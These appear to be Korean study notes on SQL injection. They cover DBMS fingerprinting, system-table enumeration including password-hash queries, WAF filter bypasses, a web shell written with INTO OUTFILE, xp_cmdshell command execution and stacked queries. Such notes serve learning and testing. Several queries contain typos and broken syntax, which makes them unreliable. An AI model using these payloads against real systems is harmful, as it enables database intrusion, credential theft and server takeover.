SQLi 취약점을 발견하면 제일 먼저 알아야 하는 정보: DBMS의 종류와 버전
// query문 입력
select @@version
select version()
// error 메시지출력
select 1 union select 1,2;
(select * from not_exists_table)
// T/F 출력
mid(@@version, 1, 1)='5'
substr(version(), 1, 1) = 'P'
SQL
복사
MySQL
// query 출력
select @@version; # select version();
// error 출력
select 1 union select 1,2; // the used SELECT 에러 메시지 출력
// T/F 출력
select mid(@@version, 1, 1) = '5';
// Time based
select mid(@@version, 1, 1) = '5' and sleep(2);
SQL
복사
PostgreSQL
// query 출력
select version();
// error 출력
select 1 union 1, 2; // each union query must have the same number of
// T/F 출력
select substr(version(), 1, 1) ='P'
// Time based
select substr(version(), 1, 1) = and pg_sleep(10);
SQL
복사
MSSSQL
// query 출력
select @@verison;
// error 출력
select 1 union select 1, 2 // All queries combined using a union, intersect or except
// T/F 출력
select 1 from test where substring(@@verion, 1, 1) = 'M';
// Time based
select 1 where substring(@@version, 1, 1,) = 'M' and waitfor delay '0:0:5'
SQL
복사
SQLite
// query 출력
select sqlite_version();
// error 출력
select 1 union select 1, 2 // selects to the left and right of union do not
// T/F 출력
select substr(sqlite_version(), 1, 1)='3'
// Time based
select case when substr(sqlite_version(), 1, 1) ='3' then like('ABCDEFG', UPPER(hex(randomblob(30000000/2)))) else 1=1 end
SQL
복사
System Tables
•
설정 및 계정 정보 외에도 테이블과 컬럼 정보, 그리고 현재 실행되고 있는 쿼리의 정보 등 다양한 정보를 포함
•
MySQL
// databases 조회
select databases;
// union 사용
select 1,2,3 from user where id=3 union select 1,2,3 from user where ~
// schema 조회
select schema_name from information_schema.schemata#
select table_schema from information_schema.tables group by table_schema
// table 조회
select table_name from information_schema.tables where table_schema=database()#
// column 조회
select column_name from information_Schema.columns where table_name="table"#
// 실시간 실행 쿼리 정보
select * from information_schema.processlist
// 계정 및 실시간 실행 쿼리 조회
select user, current_statement form sys.session;
// DBMS 권한 및 계정 정보
select grantee, privilege_type, is_grantable from information_schema.user_privileges;
// DBMS 계정 정보
select user, authentication_string from mysql.user;
SQL
복사
•
MSSQL
// databases 조회
select name from sys.databases
// database 정보 조회
select name from master..sysdatabases;
// DB_NAME을 이용한 DB 정보 조회
select db_name(1);
// table 조회
select name from table..sysobjects where xtype='U'
select table_name from table.information_schema.tables
// column 조회
select name from syscolumns where id = (select id from sysobjects where name='users');
select table_name, column_name from table.information_schema.colums;
// 계정 정보 조회
select name, password_hash form master.sys.sql_logins
select * from master..syslogins;
SQL
복사
•
PostgreSQL
// databases 조회
select datname form pg_database;
// schema 조회
select nspname from pg_catalog.pg_namespace;
// 주요 스키마 테이블
select table_name from information_schema.tables where table_schema='pg_catalog'
select table_name from information_schema.tables where table_schema='information_schema'
// 계정 정보
select username, passwd from pg_catalog.pg_shadow;
// DB 설정 정보
select name, setting from pg_catalog.pg_settings;
// 실시간 계정 및 실행 쿼리 확인
select usename, query from pg_catalog.pg_stat_activity;
// table 조회
select table_schema, table_name from information_schema.tables;
// column 조회
select table_schema, table_name, column_name from information_schema.columns;
SQL
복사
•
Oracle
// DB 및 table 정보 확인
select distinct owner from all_tables
select owner, table_name from all_tables
// column 조회
select column_name form all_tab_columns where table_name='users'
// DBMS 계정 정보
select * from all_users
SQL
복사
•
SQLite
// table 조회
select * from sqlite_master
SQL
복사
bypass WAF
•
MySQL 우회기법
// 진법을 이용한 문자열 검사 우회
select 0x6162, 0b110000101100010
// 함수를 이용한 문자열 검사 우회, sub,str,mid가 filtering이면 like사용
select char(0x61, 0x62)
select concat(char(0x61), char(0x62))
// MySQL 가젯을 이용한 문자열 검사 우회
select mid(@@version, 12, 1);
// MySQL 개행을 이용한 공백 검사 우회
select
1;
// MySQL 주석을 이용한 공백 검사 우회
select/**/1;
// /*!*/기능 사용: 주석 내 구문을 분석하고 쿼리의 일부로 실행
select 1 /*!union*/ select 2
SQL
복사
•
PostgreSQL 우회기법
// 문자열 검사 우회
select chr(65);
select concat(chr(65), chr(66);
// PostgreSQL 가젯을 이용한 문자열 검사 우회
select substring(version(), 23, 1)
// 공백 검사 우회
select
1;
// 주석을 이용한 검사 우회
select/**/1
SQL
복사
•
MSSQL 우회기법
// 문자열 검사 우회
select char(0x61)
select concat(char(0x61), char(0x62))
// 공백 검사 우회
select
1;
// 주석을 이용한 검사 우회
select/**/1;
SQL
복사
•
SQLite 우회기법
// 문자열 검사 우회
select char(0x61);
select char(0x61) || char(0x62);
// 공백 검사 우회
select
1;
// 주석을 이용한 공백 검사 우회
select/**/1;
// 구문 검사 우회
select 1 union values(2)
SQL
복사
DBMS Misconfiguration
•
MySQL
◦
파일 관련 작업을 할 때 mysql 권한으로 수행
my.cnf 설정 파일의 secure_file_priv 값에 영향을 받음
secure_file_priv는 mysql쿼리 내 load_file 혹은 outfile을 이용해
파일에 접근할 때 접근할 수 있는 파일 경로에 대한 정보를 갖고 있음
my.cnf
[mysqld]
secure_file_priv="" # 미설정. default
secure_file_priv="/tmp" # 해당 dir 하위 경로에만 접근 가능
secure_file_priv="" # mysql의 권한이 가능한 모든 경로에 접근이 가능
secure_file_priv=NULL # 기능이 비활성화
select @@secure_file_priv;
SQL
복사
◦
Load
load_file 함수는 인자로 전달된 파일을 읽고, 출력합니다.
이때 전달되는 파일은 전체 경로를 입력해야 하며 해당 파일에 접근 권한이 있어야 함
# echo test1234 > /var/lib/mysql-files/test
select load_file('/var/lib/mysql-files/test');
SQL
복사
◦
Into outfile
select ... into 형식의 쿼리는 쿼리 결과를 변수나 파일에 쓸 수 있다.
만약 secure_file_priv의 값이 올바르지 않아 임의 경로에서 파일 작업을 수행할 수 있다면
이를 통해 웹셸을 업로드하는 등의 공격이 가능
// select ... into 를 이용한 파일 작성
select ... into var_list # column 값을 변수에 저장
select ... into outfile 'filename' # 쿼리 결과의 rows 값을 파일에 저장
select ... into dumpfile 'filename' # 쿼리 결과를 파일에 저장
// select ... into를 이용한 웹셸 작성
select '<?=`?>' into outfile '/tmp/a.php';
/* <?php include $_GET['page'].'.php'; // "?page=../../../tmp/a"*/
SQL
복사
•
MSSQL
◦
xp_cmdshell 기능을 이용하여 OS명령어 실행
// xp_cmdshell 활성화 여부 확인
select * from sys.configurations where name='xp_cmdshell'
// 활성화 되어있는 경우
exec xp_cmdshell "net user";
exec master.dbo.xp_cmdshell 'ping 127.0.0.1';
SQL
복사
DBMS 애플리케이션 작동 권한
•
Linux 서버에서는 이용자 별로 권한을 나누어 관리함.
•
DBMS를 작동할 때는 전용계정(nologin)을 만들어 사용해야 함
<?php
...
// $input = "Admin"; # 대소문자 구별
// $input = "admin "; # space로 끝나는 문자열 비교
if($input === "admin") die("can't account lookup"); // filter bypass
/*
DBMS
uid: admin, account_info: secret
...
*/
echo query("select account_info from users where uid='{$input}';");
PHP
복사
// MySQL 대소문자 구별
select 'a'='A';
// MSSSQL 대소문자 구별
select 1 from test where 'a'='A';
space로 끝나는 문자열 비교
// MySQL 대소문자 구별
select 'a'='a ';
select 1 from test where 'a'='a ';
SQL
복사
DBMS 다중 쿼리 주의 사항
// 다중 쿼리 예시
select * from users where=uid''; insert user values();
SQL
복사
php data objects(PDO)를 사용해 다중 쿼리 실행
<?php
$db1 = new PDO('sqlite:test1.db')
$db2 = new PDO('sqlite:test2.db')
$query = 'select 1234;create table test(test int);';
$db1->query($query);
$db2->query($query);
?>
// 실행 결과
// php test.php
// ls -al test1.db test2.db
PHP
복사